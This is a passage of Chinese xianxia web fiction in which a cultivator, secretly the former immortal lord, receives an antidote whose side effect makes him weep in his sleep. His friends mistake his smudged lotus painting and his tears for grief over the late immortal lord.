话音未落,他的背忽然佝偻下去,整个人好像忽然老了很多,几乎让人怀疑,那个珍珠泪不只是一滴泪,而是一种能使人返老还童的神器,一旦他把东西拿出去,整个人就飞速向死亡迈进。
雪松吃了一惊,连忙更加用力扶住他,生怕他在不注意的时候又跌倒,他摇了摇头,轻轻推开雪松,重新坐回凳子上,看着幽冥河,颇为感慨,又有些恍惚,喃喃道:“拿去吧,拿去吧,再不走,我就要改变主意了……”
他说着,似乎不由自主笑了起来,呵呵呵的声音里,一点喜悦都没有,反而溢出了些许,哭声一般的苦涩。
雪松感觉他是说真的,立刻点了点头,把东西揣好,向他道别:“那就再见!”
雪松一边往后退,一边向旁边的黄昏道人摆了摆手,以示告别,黄昏道人点了点头,知道他赶时间也没多说,看着他不见了。
雪松回到了深山谷,这里已经重新打理过了一遍,连之前那些野兽的气味都消失了,取而代之的,是空气里那些逐渐弥漫起来的浓郁的药香。
雪松找到了,等待他回来的,深山谷的老人,老人见他回来,就知道事情多半是成了,笑盈盈问:“东西带回来了吗?”
雪松点了点头,把珍珠泪放在了桌子上,老人伸出手去,把盒子拿在手里,打开一看,点了点头:“确实是珍珠泪。”
雪松轻轻松了一口气。
老人把盒子重新带回去,打量了他一番问:“我需要一点时间,你还能撑住吗?今天晚上或者明天早上,我一定可以研制出解药,你可以休息一下,或者你有什么想做的事?我可以让人帮你。”
“不用,”雪松摆了摆手,但是想了想,又觉得,时间就这么睡过去太可惜了,哪怕他现在的时间比一般人多,也不能这样随意,就说,“那请给我准备一些画画的东西吧。”
他并不是很会画画,但从前确实画过,在当仙尊的时候,虽然有一阵子没画了,可能现在画得不怎么样,不过他只是打发时间,随便练练,用来玩儿的,好不好也无所谓。
老人点了点头,这些东西都好找,深山谷里也有,直接去库房里拿就行,只要普通的材料也不贵,反正他看得出雪松只是要随便玩玩,对品质没有要求,也就笑道:“那好,你去房间等着吧,我等会让人给你送去?要不要吃什么东西?我再让厨房那边顺便给你送点什么?”
“不用了,我现在没有什么想吃的,一点也不饿。”雪松虽然来来回回到处跑,但是他在黄昏道人的婚礼宴席上还真吃了点东西,现在事情尘埃落定,好像没有什么可担心的,他还真不饿,对睡觉的想法都比对吃饭大。
老人看出他说的是真话,不是单纯客套,也就点头:“那好,想要什么,你到时候直接去找仆人,告诉他们,让他们给你找就是。”
雪松点了点头,老人就让仆人把他带到了房间,那是个挺大的客房,门外面是院子,里面是书房和卧房。
最外面是厅堂,招待客人的客人用的,大约是为了方便客人和主人在客人的房间里谈事儿,但又不会显得太局促压抑和紧张,随便坐坐的地方。
仆人问完他有没有什么想要的,就退出去了,房间里还有个书架,书架上摆着一些书。
大部分都是关于如何炼丹,如何制药,如何分辨药材,如何研究人体,如何使用药类辅助修士修炼,或者如何使用药力提升修士伤口愈合速度。
一小部分,是一些趣事杂谈,他随手翻开一本,正好打开一页,画着荷花的图,旁边配着一个小故事,他还没来得及细看,就听见有人来了。
他把书放回去,转身看向门口,仆人端着画画的东西进来了,给他放在桌上,问他还要不要别的,他说不用,他们就走了。
他坐在桌旁拿起画笔,想起刚刚看见的那幅荷花,一时兴起,就跟着画了一幅,画完了就觉得困了,正要收拾笔墨,拿起水杯的时候,那水杯往下落水,一不小心一滴水就落在了画上。
他猛然一惊,连忙想要把水抹去,结果那纸也不知什么材质,直接把水吸进去了,在画面上留了一个微微往下凹的坑,幸好并没有烂,倒也勉强可以看,只当做是荷叶露珠,也不算太多奇怪。
雪松看着那画看了半晌,觉得这画就这样也没什么,用笔往平铺了的画纸上一压,直接躺上床睡了。
等他醒来的时候,长青和回春过来找他,对他说,老人已经把解药炼制好了,只要他过去,在看护下把药吃了,没有什么意外,毒就可以解了。
雪松虽然很高兴,终于可以得到解药了,但是对于他们出现在这儿还是有点惊讶,向他们问:“你们是怎么到这来的?不是在宗门吗?”
长青和回春对视一眼,对他笑道:“听说你总算有点空档,又好像可以得到解药,特意过来看看能不能帮上什么忙,顺便祝贺祝贺,其实宗门也不是很忙,所以就过来了。”
雪松将信将疑,点了点头,但他们毕竟是一片好心,还是笑道:“那就多谢你们了!”
长青摆了摆手:“不用客气。”
回春在旁边点了点头,正巧窗户没关,那边外面吹进了一阵风,把桌上的画纸吹卷起来了。
压在画纸上的笔被风吹得咕噜噜一滚,就掉在地上,啪嗒一声响,本来被笔压着的画纸也就又被新的一阵风,呼的从桌子上吹了出去。
长青愣了一下,伸手去抓那张被风吹起来的画纸,回春则蹲下身去捡滚在地上的笔,雪松眨巴眨巴眼睛,小心翼翼走到旁边去把窗关了。
关了窗,屋子里没有风了,那张纸也就停了,长春抓着纸看了看,一时没有说话,回春把笔放在桌上,也探头去看那张纸,不知道上面画的是什么,这么使人沉默,难道是禁言咒不成?
他看了一眼,他也沉默了,且不说这上面究竟画的是什么,这水痕是怎么回事?眼泪吗?
不管是大小还是形状,看起来都很像,应该就是了……居然在画画的时候哭了吗?真是一点也看不出来。雪松是会在画画时候不小心掉眼泪的类型?
回春若有所思看了雪松一眼,仔细打量了一下他的眼眶,发现还真有点红,默默收回了目光。
画上有水痕,眼眶是红的,破案了!一定是休息之前刚刚哭过,不小心把眼泪掉在画上了,看痕迹大概还想擦掉。
只是伤心的时间太长,能擦掉的时候没注意到眼泪,不能擦掉的时候注意到也没用了,反而把纸抹得稍微有些毛边,看起来绒绒的,连画上的东西都显得可怜起来。
画的是什么?荷花?如果他没记错,李商隐有一句诗,第一句是,世间花叶不相伦,花入金盆叶作尘。
雪松画这幅画的意思,难道是想说,他和仙尊不管是身份还是修为差距都如此之远,在这世间,就好像荷花和荷叶一样,无法相提并论?
所以,仙尊是高高在上的荷花,人人视他为救世主,愿意用金玉供养,而他不过是一片平凡普通的叶子,在别人眼里和尘泥差不多,他为此感到伤心?
不然怎么用这样黑的笔墨,这样大片的惨白,这样潦草的笔画,这样浓烈到使人几乎不可呼吸的过分的悲伤的情绪?
对了,那首诗的最后一句是,此花此叶常相映,翠减红衰愁杀人。
难道,雪松还在想,本来他和仙尊相亲相爱,相依为命,长相厮守,日子好得不得了,结果仙尊突然出了事,他的日子也过不下去了,所以愁煞人?真是用情至深!
雪松对他们两个的反应感到不明所以,他记得自己并没在画上画什么奇怪的东西,怎么都沉默了?
雪松也凑过去看,换上还是和之前一样,只有寥寥几笔的荷花,白纸黑墨,一点多余的颜色都没有,当然也没有字,完全看不出有什么不对。
难道他画画的时候走神了,不小心在里面加了什么,使人沉默的咒术不成?雪松心里正在疑惑,长青像是突然才发现他站在身边看,猛然一惊,连忙把画合拢,似乎是不希望他继续看下去。
雪松一脸迷茫望着他,感觉自己头上缓缓冒出一个问号:“?”
画都是他自己亲手画的,他还能不知道画上面有什么?即使不知道,刚才也看了,现在把画纸合起来有什么用?
何况他是画作的主人,他们拿着画想看也就看了,干嘛非要避开他?他还能不许他们看吗?他刚才也没上手抢啊?
这个反应是怎么个意思?
长青也察觉自己刚才的举动似乎有点古怪,因此一边把那画拿在手里,背在身后,一边若无其事笑着对雪松解释道:“我突然发现这幅画很好!要不送给我吧?我还没拿到过你的画呢!”
雪松一脸疑惑,欲言又止:“你是说你想要这幅画,所以才怕我看见?”这很古怪,你知道吧?
长青看起来有些腼腆似的笑了笑,好像真心是想要那幅画一样,低声答道:“怕你不想送给我,要拿给别人,所以先斩后奏,不好意思,反应激烈了一点,你不送给我,卖给我也行,我可以拿东西给你换,怎么样?”
雪松将信将疑看他,发现他好像是真想要那画,横竖也不是多费功夫的东西,也不值什么钱,因此挥了挥手:“你想要就送给你了,拿去吧,不用客气。”
长青笑着点了点头,把那画卷起来收了,一点给雪松再看一眼的意思都没有:“那好,我先收起来了。”
雪松点了点头,看了看他们两个紧绷中带着些许紧张好像隐瞒什么的样子,试探着问:“那我现在去找解药?”
长青和回春看着他,像两只偷偷在嘴里藏了肉骨头的金毛和哈士奇,点了点头,他往外走了两步,见他们还站在那里,有些疑惑问:“你们不跟我一起?”
二人对视一眼点了点头,对他微笑道:“我们一会儿去!一会儿就去!可以吧?”
横竖雪松也不是一定要他们一起去,也就点了点头:“可以,那我先走了。”
他走了出去,二人都松了一口气,相互看了看:“你留下来干什么?”
“我担心他想不开,看看还有没有什么东西会让他伤心。”
“我也是。”
回春往后一靠,一本书掉了下来。
第79章
回春听见书掉下来的声音, 低头一看,书已经落在他的脚边了,蹲下去把书捡了起来, 仍然靠在书架子上, 把书翻开一看。
好巧不巧,他翻开的时候, 那本书正好打开在雪松之前看过的位置, 也就是那幅荷花图和小故事的页面。
回春眨了眨眼睛,默默往旁边挪了两步, 靠近了长青,把手里的书递给他, 长青定睛一看, 挑了挑眉, 一时有点沉默。
二人对视一眼, 又去看那本书上的荷花,长青一边看一边把收起来了的画拿出来展开, 发现画上的荷花和这本书上的荷花还真有些相似, 仿佛是照着画的,但又有一些区别。
区别在于,书上的荷花更复杂,更鲜艳,更庞大,也开得更热烈, 画上的荷花更简单,更黑白分明,更娇小,开得也不那么酣畅淋漓, 也不是畏畏缩缩,倒有一些弱柳扶风之态,像是下一秒就会一不小心被吹折了,整朵花落在地上似的。
长青不由自主皱起眉头。
对比了花之后,他还发现,书上的花是有叶子的,叶子旁边还有鱼虾,显得整幅画活灵活现,如同一朵真正生长在荷塘里的花,拓印下来的图。
可是画上的花,没有叶子,本来应该有叶子的地方,也就是花的旁边,只有一滴眼泪似的水痕。
他不由得又想起了一句诗:“相见时难别亦难,东风无力百花残”——
如果说书上的那幅画,是一切欣欣向荣,欢欣鼓舞,和和气气,那画上的这幅,眼泪替了叶子,花叶不相见——
仙尊还活着的时候,雪松就和他不得光明正大的相见,仙尊死了,雪松不仅得不到他的尸体,连指望和他转世重见的机会也没有。
毕竟他是魂飞魄散,只有一些遗物,见了反而更伤心,带在身上,也没有用,人死了就是死了,东西还在,人又不会复活。
可是不接受也不行,毕竟不能复活,那可不是相见时难,别亦难吗?要知道,人活着总有见面的时候,尤其是关系好又住得近,相互还愿意见面,可是如果死了,就算是做梦见一面,也会被潜意识提醒,这个人已经死了,而被迫醒过来的。
想要相见而不得相见的难处,不过是没时间,或者要避开其他人,分别的难处却在于,生离死别,不由自主,分开的时间可能比相处更久,一想起来,就容易使人热泪盈眶。那说一句分别的难处,比相见的难处,更难一些,也不算过分。
毕竟能接受相见困难的多,能接受分别困难的,就没那么多了,因为若是两心相悦,想要见面,不管多难,也会愿意忍受和解决。
要是毫无感情,是不必相见的,要是依依不舍的时候要分离,那忍受能力就会差很多,至少没有为了相见而忍耐困难的时候,那么能忍。
至于后一句,雪松又是遇到魔修,又是被审判,又是中毒,又是来回奔波,说一句,东风无力百花残,也不算过分。
只是,雪松画这朵花,多半是寄情于景,以花喻人,把仙尊当花来画,虽然仙尊本身和花其实并没有什么相似之处,从前也没什么人会这样想。
但以雪松一直以来想要掩盖自己和仙尊的真实关系的态度来看,为了不被别人发现自己怀念仙尊,而不直接画仙尊的形象,只是画一朵花来表达感情,是有可能的。
那么,雪松画这幅画,是认为仙尊从前四处奔波完成任务,就如同这朵风中柔弱的荷花一般,恨自己不能陪在仙尊身边,所以不画叶子,只有眼泪,还是认为,自己就是这朵荷花,没有仙尊,既受感情的折磨,又受身体的折磨,再被风吹一下就会倒,恨不得去陪伴仙尊,还是认为,如果仙尊是一朵花,他宁愿去死,变做一朵花,和仙尊永远在一起,干脆合二为一,哪怕什么都没有,只要有仙尊就什么都好?
怎么越看越像……
雪松真是这种为了爱,尤其是爱情而不顾一切的人吗?从前没感觉出来呢?不对,其实也早有预兆——
在他明知道可能会被发现,但仍然要进入仙尊遗留下来的洞府的时候,在他一口气吞掉大量仙尊遗留下来的丹药而不顾性命的时候,在他明知道仙尊送他的剑是用聘礼盒子装着而他仍然愿意收下的时候……
长青一时有些唏嘘,回春的感觉和他一样。
他们又看了看那本书上的故事,反正就在画的旁边,也不多,也不远,一眼就看完了,顺便的事而已,不看白不看。
那故事很简单,说的是,有一个荷花仙子,在快要枯死的时候,被一个路过的人随手用一壶水救了,从此以后发誓要报答救命之恩,努力修炼,修成了人形,打听到当年救命的那个公子已经转世,就去追随,之后问救命恩人究竟要什么,救命恩人说,只要能一直和他在一起就好,他答应了,但是没过多久,救命恩人就生了一场重病去世了,偏偏,救命人的真实身份并不是普通人,而是天上下来历劫的神仙,过了这一世就要回天上去了,从前答应的通通不作数,也叫他不要放在心上,自己努力修炼就是了,他听见努力修炼,便打定主意要成仙,可是在他飞升的那一日,救命恩人魂飞魄散,他就散尽修为,坠落凡间,重新变回一朵荷花。
“这故事挺悲伤啊?”长青皱起眉头,喃喃自语。
回春点了点头,抹了一把眼泪,眼眶红红,声音有些颤抖,哽咽似的:“是呀,是呀。太值得难过了!”
他说着说着忽然愣了一下,想到了什么,喃喃道:“这故事和他俩有点像啊……”这个他俩,毫无疑问,是雪松和仙尊。
长青听后歪了歪头,也大概能明白他在想什么。如果雪松的花是照着这书上的图画的,这个故事和这幅图距离这么近,雪松不可能没有看见,那多半是已经看过了,眼睛才会红红的。
因为这个故事太值得难过了,雪松又想到了自己和仙尊感同身受才掉了眼泪,心情郁闷,所以去睡觉,觉得睡一觉就好了,可是没料到睡醒起来,眼睛也还是红的,才会若无其事跟他们讲话,就好像什么也没发生过一样。
实际上,就算发生了什么,雪松大概也不会告诉他们,毕竟这是私事,他们的关系也没有好到,可以随便讲这种伤心事的地步。
也说不定是,担心把事情告诉他们,他们反而跟他一起难过,帮不上忙,还影响气氛,雪松选择不说,他们也可以理解。
“就当没有看过吧,”长青把那本书放回书架上,“也不要在他面前提起,免得让他伤心,我们该出去了,毕竟不是自己的房间。”
回春眨着眼睛点了点头:“我知道了。”
二人走出去,也不打算乱转,不知道现在雪松情况怎么样,因此想去找他,也就打听了一番,向着他的位置去了。
雪松这个时候,已经站在老人的面前拿到了解毒药丸,老人正在对他说:“这个东西是最新炼制出来的,因为时间紧,所以我只能确定这东西一定可以解毒,不确定有没有什么副作用,你吃掉之后,自己注意,也可以回来告诉我,究竟有什么症状,方便我记录和修改。不过最好是在这里休息一下,方便观察,要是有什么意外,也好尽快处理。”
“我明白了,”雪松点了点头,把药丸吞了下去说,“那我在这休息一会儿吧。”虽然他来之前就休息了,现在一点也不困,但是没关系,打发时间而已,随便干点什么好了。
相信时间很快就会过去的。
话音刚落,他就感到一阵强大的困意袭击而来,找了个地方躺下休息去了,刚刚闭上眼睛就睡着了,紧接着,完全失去了意识。
他不知道的是,在他失去意识之后,他的眼睫毛颤了颤,下一秒,眼角开始溢出泪珠,起初只是一粒一粒的,之后就是一串一串的,以泪洗面一般,一个劲往下淌眼泪,止都止不住,像是想到了极其难过的事情一样,甚至开始不由自主哽咽了。
也幸好他现在是睡着了的状态,不然,说不定会不受控制,发出更大的哭泣声,这应该就是药丸的副作用了。
没多久,回春和长青赶到了这里,向老人询问雪松的情况,老人指了指旁边在屏风后面的榻上,侧身睡着的雪松,低声道:“里面。”
两个人点了点头,小心翼翼走过去看,没想着要打扰他,只想着看一眼就走,毕竟,他们一直在这呆着也不是个事儿,挺诡异的,不像是好心,雪松也不会很喜欢。
不过,看一眼他们就呆住了,雪松现在哭得比之前还要厉害,虽然没什么声音,但是眼泪更多了,因为已经哭了有一阵了,眼睛都红了,肿了一圈,看起来挺大的,像是两个桃子卡在那儿。
两个人连忙退出来,对视了一眼,又往后退了一段路,窃窃私语起来。
“你刚才看见了吗?”
“我看见了,好多眼泪,好红的眼睛,脸都快肿了!我以为但凡有点修为,都不至于哭成这个样子的,可现在看来是我错了,有修为只是不会像凡人那样哭起来那么惨,并不代表,不能哭得十分狼狈,看起来糟糕透了。”
“他要是那要没有修为,按他现在那个哭法,他的脸都应该已经肿了,现在只是稍微肿了肿眼睛,已经算不错的了。”
“说起来我们之前去看他的时候,他的眼睛还是红的,该不会是哭成这样,但又过了一段休息时间恢复了,才看起来稍微好些吧?”
“恐怕是呢,看他现在哭成这个样子,想来之前也很伤心,不会高兴到哪里去,不然怎么会突然,难过到这个地步?我可做不到!”
两个人达成一致,对视一眼,忍不住摇头。
“平日里看他十分稳重,还以为他早就已经把仙尊的事情放在心里了,并不太在意,只是遇到和仙尊有关的事情,稍微情绪激动一点罢了,现在看来,完全是判断错误!”
“确实,他对仙尊的感情是我们所不能了解的,从前我以为,他是很在乎仙尊的,但也只是在乎而已,毕竟仙尊已经死了,还不是死了一天两天,但是,就现在的情况看,不管仙尊死了多久,他还是一样在乎,甚至比从前更在乎了,只是知道我们不希望他那样,所以他稍微伪装了一下,显得没那么在乎而已,偏偏因为伪装之后,那些真实的情绪都被压在心里,不能流露出来,积载久了持续发酵……”
两个人忍不住接着摇头。
就在他们低声讨论的时候,雪松听见了他们的话,但是没有醒过来,只是轻轻动了动耳朵,觉得好像有人在喊自己,毕竟从前有许多人实打实喊了他许多年的仙尊,他会对这个词有反应,也是理所应当,只是别人不知道。
因此,他闭着眼睛,一边在榻上流泪,仿佛十分伤心,一边微微皱着眉,一副纠结又痛苦的样子,下意识跟着他们喃喃道:“仙尊、仙尊……”
如果他醒着,他现在想问的大概是,你们究竟在喊仙尊什么?但他现在睡着,发出声音不过是靠本能和解毒药丸的副作用。
所以他根本说不出一句完整的话,因为他不是在说梦话,也不是在装睡,以至于他只能反反复复,喃喃这个对于他而言,最无法假装听不见的词。
偏偏他现在脑子糊里糊涂的,在喊完之后,就搞不清楚自己要问什么,毕竟还是不清醒,一句话说不完,又回到开头。
或许是因为对于大多数人而言,如果想不起一句话下半部分要说什么,就回到开头重新说一遍,就好像如果不知道在房间里要找什么东西,就退出房间再进一遍,和游戏卡顿的时候打不开,就退出重进一样。
这件事对于雪松而言也差不多,在昏睡之中想不起自己要说什么,那就回到开头重念一遍,结果就是,在回春和长青听来,雪松一直在反复念叨仙尊。
声音越来越沙哑,越来越断断续续,好像下一刻就要停了,但又一直没停,仿佛执念非常深重,即使梦中也不能割舍。
两个人有些担忧,想要帮忙,又不知怎么办才好,就探头探脑去看雪松的表情,发现他还皱着眉头,好像十分痛苦,不得不努力在糟糕的回忆里挣扎的样子。
二人不由得心中暗自感慨。雪松这大概是睡梦中不受控制,想到了仙尊死去的时候,感到痛苦的同时,希望通过呼唤仙尊,让梦境里从前尚且还活着的仙尊改变主意,不要去做那件可能会死的事,但仙尊一定不会同意的,所以最后还是会死,这应该也是雪松痛苦的原因之一。
不然怎么会有这么多的眼泪?又有什么好皱眉头的呢?实际上,雪松皱着眉头,一方面是身体觉得脸上眼泪太多,湿漉漉的,眼睛痛痛的,不太舒服,一方面是思考,究竟是谁在他睡着的时候站在旁边喊他,哪怕喊的不是他的名字,也不是他现在的身份,但对于他而言,在他身边喊仙尊和喊他其实是差不多的。
更何况他睡着,脑子不那么清醒,分不出来究竟是不是真的喊他,药丸还在发挥作用,身体不太舒服,人就更混乱了,没有办法假装没听到,甚至也许他现在根本没意识到自己在念什么,只是想搞清楚情况而已。
挣扎了好半天,他终于从那种好像被拖进泥潭一样的状态中清醒过来,感到头晕目眩,虽然睡了一觉,状态就更差了。
他在那个窄窄的靠墙的榻上睁开了眼睛,缓了一会儿,慢慢坐起身来,掀开被子下去,穿了鞋子去找应该在附近观察情况的老人。
老人在屏风外面坐着,长青和回春站在老人身边,低声说着些什么。
当他们听见脚步声回头的时候,长青和回春就像两只被卡住了脖子的鸭子一样,一下子不说话了,甚至有点沉默,眨了眨眼睛,用一种复杂的目光看着他。
他感到疑惑,歪了歪头,他们两个立刻挪开目光,对视了一眼,往旁边走了两步,仿佛是避免挡住他的路,影响他寻找老人询问情况,但又有些像是,因为知道了什么而无法面对他。
他不太确定他们知道了什么,但想了想,也没觉得自己有什么可不能被他们知道的,因为他们能知道的东西也就那些,无法对他造成什么影响。
难道他在梦里说明了自己的身份?不应该呀。如果他真的那么做了,系统一定会提醒他的,而系统没有提醒,那就说明他没做。
那就没什么可担心的,至于他们两个,也许是以为自己知道了什么吧?算了,以后有空再问。当务之急是另外一件事。
雪松往前两步,走到老人面前,用袖子擦了擦脸,脸上仍然湿漉漉的被风一吹,甚至还有些黏,但擦了一下好多了,哪怕有些痛,却也干了很多。
“解毒药丸的副作用可能会是昏睡和掉眼泪吗?”雪松感到自己有点站不稳,但又不会马上倒下去,他眨了眨眼睛,在那种古怪的有点摇晃的世界里,向老人问。
老人看着他的情况,若有所思:“是有可能的,这些都是小副作用,不太影响什么,我想着尽快把你的毒给解了,用的药或许重了点吧?”
老人一边说一边对他招手:“我检查一下。”
他向老人走了过去,老人把他看了看,掏出另外一颗洁白如雪的丹药递给他:“你现在还在副作用里面,吃掉这颗药吧,会好一些。”
雪松将信将疑,点了点头,吞了那颗药,果然一下子感觉,眼睛也不痛了,脸也不湿了,头也不晕了,世界也不晃了,整个人都稍微能站直一些,确实是好多了。
“多谢,”雪松睁着一双很是精神的眼睛说,“我想我该走了。”
“之后有什么可以找我。”老人点了点头。
“那再见。”雪松点头,之后就离开了。
雪松回到宗门以后,见到了长老,长老说,三日之后,有一个新的秘境要开,如果他有空,可以去试试,万一能在里面找到什么有用的东西呢?
他点了点头表示知道,有空会去的,长老就走开了,他回到自己的洞府打坐,忽然听见有人过来敲门,打开门一看,是从前在新人试炼场见过的,同门弟子。
“你有什么事?”雪松向他问。
他把雪松看了看,看见雪松通红的眼眶,挑了挑眉:“原来你还记得,明天是什么日子?”
“明天是什么日子?”雪松感到疑惑,他并不知道,他最近几天忙得要死不活,哪有空注意究竟是什么日子?爱是什么日子是什么日子!横竖他今天还没有死也就完了。
对面看他这副疑惑的表情,愣了一下,皱了皱眉,仔仔细细看着他问:“你是真不知道还是消遣我?你认真的吗?这种时候就别开玩笑了吧?”
“所以是什么日子?”雪松听得出来,对方的重点是明天,明天的重点是,什么特殊的日子,可他根本想不起来。
他连日历都没看!他能想起来什么?就算有日历,他也一般不看的,他不觉得有什么日子可特殊的。
他连自己死的是哪一天都没记,因为他不想每过一年就想起自己死过一次,那很倒霉的!
反正周围有这么多人,他真要是想知道,随便问问也该知道了,总有人会回答的。他又何必自己记呢?又不是什么重要的事,忘了最好。
对面挠了挠头,似乎对于他这种让人搞不清楚是真的不知道还是非要开玩笑的样子,感到很是无奈,只能走了两步,想了想,背着手叹了一口气说:“算了,既然你不知道,那明天我再来找你,也许你明天就想起来了,想不起来也没关系,到时候我带你一起去,你看见了自然就知道了,也免得我现在告诉你,明天你又忘了。”
他说着准备走,走到半路又回来,仔仔细细,把雪松重新打量了一番,用比之前还要疑惑的语气问:“你是真的不记得了?”
雪松陷入沉默。究竟要记得什么?!他应该知道吗?知道又不代表记得!光说一个明天,谁知道什么是什么!
他又没提前做什么。难道他们都在日历上标记好了,明天要做什么才特意来找他的吗?什么事情非要他去?
和他有关系吗?还是和仙尊有关?不应该呀!仙尊不是死了好久了吗?怎么还有事啊?
他记得死之前把其他的该做的事情都做了呀!不应该有什么没做的事情重新找上门来才对……
算了,既然明天还会来找他,那大概明天也会说吧?到时候看了就知道!谁在乎究竟是什么!反正他不在乎!
对面看他不回答,也不知道他是想起来了,还是正在思考怎么说,看了一眼时间,觉得自己不能继续在这待下去了,摇了摇头说:“我还有事,先走了,明天你记得等我!”
话音未落,同门已经转身走远了。雪松默默看着他的背影,慢慢把门关上,觉得最近事挺多的,希望后天不要有什么事。
正当他祈祷最近清闲一点的时候,还没打坐多久,又有人过来敲门,他打开门一看,这次是个不认识的人。
这个人穿着宗门弟子的衣服,见他开门,把他打量了一番,神神秘秘掏出一张纸条递给他,还担心被看见似的左右瞧了瞧,没瞧见人才压低声音叮嘱说:“后天,葡萄园地下会,有一场拍卖,如果你感兴趣,可以去那儿看看。”
雪松接过那张纸条,那个人就一下子不见了,大约是去找别人了,雪松抬头往周围张望了一下,周围没有人,他又把门关上了。
纸条上写着时间和地址,不过,并不是直接用字写的,而是水痕,接触了水的地方,纸张都软绵绵的,好像一戳就破,但在光照的变化下确实可以看见,这上面的信息。
他刚刚看完确认,这张纸就在他手心里化掉了,黏黏糊糊,好像刚刚融化的冰淇淋,大约是为了保密,虽然想不出来一场拍卖会有什么可保密的,但或许拍卖会上,有什么见不得人的东西?
或者是很稀奇的东西?怕人知道了,趋之若鹜?又或许,是无证办会,所以都偷偷去,希望人越少越好,才这样保守秘密?
算了,到时候去看看就知道了。现在只能希望大后天没有事情了,不然,三天都排满了,第四天又要去看,新的秘境究竟有什么可用的东西,也不知道忙不忙得过来。
一整个白天很快就过去了,雪松正当以为今天已经没有事情的时候,又听见了敲门声,他过去把门打开,一片飘飘忽忽的叶子,从半空中落下。
他伸出手,把那张叶子拿在手里,定睛一看,这是一张破破烂烂的,枯黄色的,非常脆的叶子,叶子上面留了一丝魔气,还留了一条消息。
魔气转瞬即逝,很快就察觉不到了,至于消息,大概意思是,大后天,一个人到临街巷去,否则,他们不会替他保守秘密。
虽然他根本不知道这片叶子上面说的他的秘密是什么,但是魔修也确实是不可不防,那天又正好有空,姑且去看看好了。
雪松默默叹了一口气,叶子在他手里变成粉末,这下一来,他这四天都有事情做了,真是一点也没休息的空。
他关上门,回洞府休息去了。
新的一天开始了,天色十分明亮,雪松一边在洞府里打坐,一边等待着昨天说今天会来找他的人。
没过多久,果然有人敲门,他把门打开一看,是昨天找过他的同门,同门把他看了看,发现他和昨天好像没什么不一样,脸上露出失望的神色,喃喃道:“原来你是真的不知道啊,我还以为你会记得,毕竟你是……”
“是什么?”雪松听着他的话,感到疑惑。
他皱着眉头,脸上露出不耐烦的神色,摇了摇头,态度突然就变得有些差,一边往外走,一边不悦道:“是什么你自己还不知道吗?”
雪松要是知道就不会问了。但对面显然不是这么想的。他觉得雪松肯定知道,以至于连一点多余的解释的想法都没有。
他只是一边往前走,一边催促:“走快点,大家都等着呢,等会儿迟了!实话说,其实就等你了,不过没想到你不知道地方,这也正常,之前忘了通知你,但是你居然也没打听——”
他用没想到你居然是来真的那种十分不可思议的目光,看着雪松,忍不住摇头:“太离谱了,我还以为你早就知道,只是,之前有事,太忙了,没顾得上,这也不是不能理解,可是,你居然真的忘了!”
他一边往前走,一边摇头,像是完全不能接受一样说:“居然完全忘了,居然真的忘了!明明你才应该是记得最清楚的那个人!
他们都这么说!可是我看你根本不像是那样的人,恐怕他们完全是误会!这真是一个太大的误会!”
他就这么一路碎碎念,说一些根本听不懂的话,把雪松带到了一扇门前,敲了两下,把门推开走了进去,顺便对雪松招手:“进来坐坐吧。”
雪松走了进去,看见里面坐了一群人,都穿着黑衣服,打着白带子,看起来像是即将要靠近棺材或者坟墓的样子。
如果雪松没有猜错,他们这副打扮,多半是要去见,仙尊的衣冠冢,如果这附近真有那种东西的话。
他不太记得自己在宗门里面见过仙尊的衣冠冢,但是按理说,仙尊既没有魂魄,也没有尸体,连坟墓都没得立,如果不是衣冠冢,那就只有可能是牌位或者身份牌之类的东西了。
可是那些东西,不太可能落在宗门弟子的手里,因为,那些东西不是本来就属于宗门,就是宗门出资建造的,是要放在特定的区域里,提供特定用处的,怎么可能随便交给谁呢?安排弟子看管场所和定期维护还差不多。
同门一边往前走,一边左右看了看,走到不远处的一面墙上,伸手按了过去,一个法阵闪烁了一下,一墙的架子从墙里面出来。
架子上还有门,他拉开了架子上的一扇门,里面是一身和周围的人一个款式的黑衣服,还有一条白袖带。
他拿了东西转过身来,递给雪松说:“等会儿要去的地方不适合穿你现在的衣服,你把这个换上吧。”
“在这换吗?”雪松接过衣服看了看,向他问。
周围到处都是人,他露出无可奈何的神色,往旁边的通道指了指:“换衣间在那里面,你自己走进去换吧。我在这等你。
你应该知道怎么穿吧?里面的衣服不用脱,把这个像外套一样罩在外面就行,从头上套下去,再把手拿出来,很简单的。
至于那个带子,你要套在头上也好,脖子上也好,手上也好,胳膊上也好,都随便你,是个合适的地方,不容易弄脏就行,总之你记得,带在身上,最好是显眼的地方,不要看不见的。”
雪松点了点头,站起身来拿着衣服,向着通道走了过去,里面比外面稍微黑一点,但还是看得见,第一个房间就是换衣间,不过里面有人,门打不开。
他一路走到一个可以打开的房间,进去把黑衣服套在外面,把那个白色的袋子在胳膊上打了个结,但是那样好像不太好看,他就顺手打了个蝴蝶结。
之后他走了出去,回到了刚才的厅堂,同门在那里坐着等他,用手支着下巴,百无聊赖的样子,一边听周围的人讲话,一边点头。
雪松隐约听见他们说:“我们真要带他去?其实不合适!他如果想去,应该自己去,而不是我们带他去,我们带他算什么?”
“算什么?算带路的!这有什么好纠结的?这还不明白吗?其实如果仙尊真的活着,我们把他带去,仙尊会高兴的,比见到我们高兴,所以,还是带上吧!”
“万一我们不带他去,他就真的不知道,岂不是很可惜?他要是一直不去,要是仙尊在天有灵,恐怕也会觉得差点什么,我知道仙尊已经魂飞魄散了,只是这么说而已。我们就让他活着不行吗?倒不如说我们就是希望他活着才在这儿的呀!”
雪松走到他们面前,他们已经沉默了一会儿了,同门抬起头来,微皱着眉头,把他打量了一番,眼神中闪过一丝惊艳和怀念,用一种复杂的目光看着他:“好像!”
第80章
雪松低头看了看自己, 并不觉得,这身装扮和从前有什么相似的地方,毕竟他从前并不常常这样打扮, 那他们说像, 多半只是因为脸?
他抬起头来问:“究竟要去哪?”
“等会儿你就知道了,”同门摆了摆手, 往周围看了看, 见大多数的人都已经穿戴整齐,就往外走去, 一边推门一边对他们说,“算算时间也差不多了, 走吧走吧。”
雪松跟着他们走了出去, 往外面一看, 一艘宽大的灵船, 正停在空地上,众人一一上去, 那船就飞了起来, 向远处而去。
雪松往周围望了望,周围到处都是云和雾,还有一些湿润的水珠,远处能看到一闪而过的赶路的修行者,但数量并不多。
毕竟他们一般不飞这么高,这种高度很费力气, 要是一不小心用光了灵力掉下去,还是很容易造成伤害的。
修为高的皮糙肉厚,自己倒不在乎什么,修为低的掉下去头晕眼花, 一时要是没看住,不小心掉进谁家的房子里,房子多半要被砸出一个洞,要是掉进别人家的菜地,那菜肯定不能吃了,要是掉到人头上,那个人多半要死。
